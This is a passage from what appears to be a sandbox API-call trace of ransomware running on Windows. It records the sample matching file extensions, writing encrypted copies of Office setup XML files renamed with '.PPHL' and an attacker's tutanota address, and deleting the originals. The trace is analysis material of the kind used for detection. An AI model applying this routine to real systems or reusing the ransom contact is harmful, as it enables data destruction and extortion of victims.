lpNumberOfBytesRead=0x2cbfed4*=0x333, lpOverlapped=0x0) returned 1 [0067.679] WriteFile (in: hFile=0x200, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x340, lpOverlapped=0x0) returned 1 [0067.680] ReadFile (in: hFile=0x1fc, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0067.680] WriteFile (in: hFile=0x200, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0067.681] SetEndOfFile (hFile=0x200) returned 1 [0067.681] CloseHandle (hObject=0x200) returned 1 [0067.690] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0067.690] SetEndOfFile (hFile=0x1fc) returned 1 [0067.691] CloseHandle (hObject=0x1fc) returned 1 [0067.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0067.692] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 1 [0067.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0067.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0067.692] lstrlenW (lpString=".doc") returned 4 [0067.692] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0067.692] lstrlenW (lpString=".docx") returned 5 [0067.692] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0067.692] lstrlenW (lpString=".pdf") returned 4 [0067.692] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0067.693] lstrlenW (lpString=".xls") returned 4 [0067.693] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0067.693] lstrlenW (lpString=".xlsx") returned 5 [0067.693] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0067.693] lstrlenW (lpString=".ppt") returned 4 [0067.693] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0067.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0067.693] lstrlenW (lpString=".zip") returned 4 [0067.693] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0067.693] lstrlenW (lpString=".rar") returned 4 [0067.693] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0067.693] lstrlenW (lpString=".bz2") returned 4 [0067.693] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0067.693] lstrlenW (lpString=".7z") returned 3 [0067.693] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0067.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0067.693] lstrlenW (lpString=".dbf") returned 4 [0067.693] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0067.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0067.693] lstrlenW (lpString=".1cd") returned 4 [0067.693] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0067.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0067.693] lstrlenW (lpString=".jpg") returned 4 [0067.693] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0067.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0067.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0067.694] lstrlenW (lpString=".doc") returned 4 [0067.694] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0067.694] lstrlenW (lpString=".docx") returned 5 [0067.694] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0067.694] lstrlenW (lpString=".pdf") returned 4 [0067.694] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0067.694] lstrlenW (lpString=".xls") returned 4 [0067.694] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0067.694] lstrlenW (lpString=".xlsx") returned 5 [0067.694] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0067.694] lstrlenW (lpString=".ppt") returned 4 [0067.694] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0067.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0067.694] lstrlenW (lpString=".zip") returned 4 [0067.694] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0067.694] lstrlenW (lpString=".rar") returned 4 [0067.694] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0067.694] lstrlenW (lpString=".bz2") returned 4 [0067.694] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0067.694] lstrlenW (lpString=".7z") returned 3 [0067.694] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0067.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0067.694] lstrlenW (lpString=".dbf") returned 4 [0067.694] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0067.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0067.694] lstrlenW (lpString=".1cd") returned 4 [0067.694] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0067.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0067.695] lstrlenW (lpString=".jpg") returned 4 [0067.695] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0067.695] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0067.695] lstrlenW (lpString="SETUP.XML") returned 9 [0067.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0068.146] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=2624) returned 1 [0068.146] CloseHandle (hObject=0x1b0) returned 1 [0068.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0068.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0068.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0068.146] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.146] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0068.146] GetLastError () returned 0x0 [0068.146] ReadFile (in: hFile=0x1b0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0xa40, lpOverlapped=0x0) returned 1 [0068.301] WriteFile (in: hFile=0x1f4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xa50, lpOverlapped=0x0) returned 1 [0068.302] ReadFile (in: hFile=0x1b0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0068.302] WriteFile (in: hFile=0x1f4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0068.302] SetEndOfFile (hFile=0x1f4) returned 1 [0068.302] CloseHandle (hObject=0x1f4) returned 1 [0068.303] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.303] SetEndOfFile (hFile=0x1b0) returned 1 [0068.304] CloseHandle (hObject=0x1b0) returned 1 [0068.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0068.304] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 1 [0068.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0068.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0068.304] lstrlenW (lpString=".doc") returned 4 [0068.304] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0068.304] lstrlenW (lpString=".docx") returned 5 [0068.304] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0068.304] lstrlenW (lpString=".pdf") returned 4 [0068.304] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0068.304] lstrlenW (lpString=".xls") returned 4 [0068.304] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0068.304] lstrlenW (lpString=".xlsx") returned 5 [0068.304] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0068.304] lstrlenW (lpString=".ppt") returned 4 [0068.304] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0068.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0068.305] lstrlenW (lpString=".zip") returned 4 [0068.305] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0068.305] lstrlenW (lpString=".rar") returned 4 [0068.305] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0068.305] lstrlenW (lpString=".bz2") returned 4 [0068.305] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0068.305] lstrlenW (lpString=".7z") returned 3 [0068.305] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0068.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0068.305] lstrlenW (lpString=".dbf") returned 4 [0068.305] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0068.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0068.305] lstrlenW (lpString=".1cd") returned 4 [0068.305] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0068.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0068.305] lstrlenW (lpString=".jpg") returned 4 [0068.305] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0068.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0068.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0068.305] lstrlenW (lpString=".doc") returned 4 [0068.305] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0068.305] lstrlenW (lpString=".docx") returned 5 [0068.305] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0068.305] lstrlenW (lpString=".pdf") returned 4 [0068.305] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0068.305] lstrlenW (lpString=".xls") returned 4 [0068.305] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0068.305] lstrlenW (lpString=".xlsx") returned 5 [0068.305] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0068.305] lstrlenW (lpString=".ppt") returned 4 [0068.305] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0068.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0068.305] lstrlenW (lpString=".zip") returned 4 [0068.305] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0068.305] lstrlenW (lpString=".rar") returned 4 [0068.306] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0068.306] lstrlenW (lpString=".bz2") returned 4 [0068.306] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0068.306] lstrlenW (lpString=".7z") returned 3 [0068.306] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0068.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0068.306] lstrlenW (lpString=".dbf") returned 4 [0068.306] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0068.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0068.306] lstrlenW (lpString=".1cd") returned 4 [0068.306] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0068.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0068.306] lstrlenW (lpString=".jpg") returned 4 [0068.306] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0068.306] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0068.306] lstrlenW (lpString="InfoPathMUI.XML") returned 15 [0068.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0068.306] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=1231) returned 1 [0068.306] CloseHandle (hObject=0x1b0) returned 1 [0068.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0068.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0068.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0068.307] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.307] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0068.391] GetLastError () returned 0x0 [0068.391] ReadFile (in: hFile=0x1b0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x4cf, lpOverlapped=0x0) returned 1 [0068.644] WriteFile (in: hFile=0x1f4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0068.646] ReadFile (in: hFile=0x1b0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0068.646] WriteFile (in: hFile=0x1f4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0068.647] SetEndOfFile (hFile=0x1f4) returned 1 [0068.647] CloseHandle (hObject=0x1f4) returned 1 [0068.648] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.648] SetEndOfFile (hFile=0x1b0) returned 1 [0068.649] CloseHandle (hObject=0x1b0) returned 1 [0068.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0068.649] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 1 [0068.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0068.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0068.650] lstrlenW (lpString=".doc") returned 4 [0068.650] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0068.650] lstrlenW (lpString=".docx") returned 5 [0068.650] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0068.650] lstrlenW (lpString=".pdf") returned 4 [0068.650] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0068.650] lstrlenW (lpString=".xls") returned 4 [0068.650] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0068.650] lstrlenW (lpString=".xlsx") returned 5 [0068.650] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0068.650] lstrlenW (lpString=".ppt") returned 4 [0068.650] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0068.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0068.650] lstrlenW (lpString=".zip") returned 4 [0068.651] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0068.651] lstrlenW (lpString=".rar") returned 4 [0068.651] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0068.651] lstrlenW (lpString=".bz2") returned 4 [0068.651] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0068.651] lstrlenW (lpString=".7z") returned 3 [0068.651] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0068.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0068.651] lstrlenW (lpString=".dbf") returned 4 [0068.651] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0068.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0068.651] lstrlenW (lpString=".1cd") returned 4 [0068.651] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0068.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0068.651] lstrlenW (lpString=".jpg") returned 4 [0068.651] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0068.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0068.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0068.651] lstrlenW (lpString=".doc") returned 4 [0068.651] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0068.651] lstrlenW (lpString=".docx") returned 5 [0068.652] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0068.652] lstrlenW (lpString=".pdf") returned 4 [0068.652] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0068.652] lstrlenW (lpString=".xls") returned 4 [0068.652] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0068.652] lstrlenW (lpString=".xlsx") returned 5 [0068.652] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0068.652] lstrlenW (lpString=".ppt") returned 4 [0068.652] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0068.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0068.652] lstrlenW (lpString=".zip") returned 4 [0068.652] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0068.652] lstrlenW (lpString=".rar") returned 4 [0068.652] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0068.652] lstrlenW (lpString=".bz2") returned 4 [0068.652] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0068.652] lstrlenW (lpString=".7z") returned 3 [0068.652] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0068.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0068.652] lstrlenW (lpString=".dbf") returned 4 [0068.653] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0068.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0068.653] lstrlenW (lpString=".1cd") returned 4 [0068.653] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0068.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0068.653] lstrlenW (lpString=".jpg") returned 4 [0068.653] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0068.653] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0068.653] lstrlenW (lpString="SETUP.XML") returned 9 [0068.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0068.654] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=1852) returned 1 [0068.654] CloseHandle (hObject=0x1b0) returned 1 [0068.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0068.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup 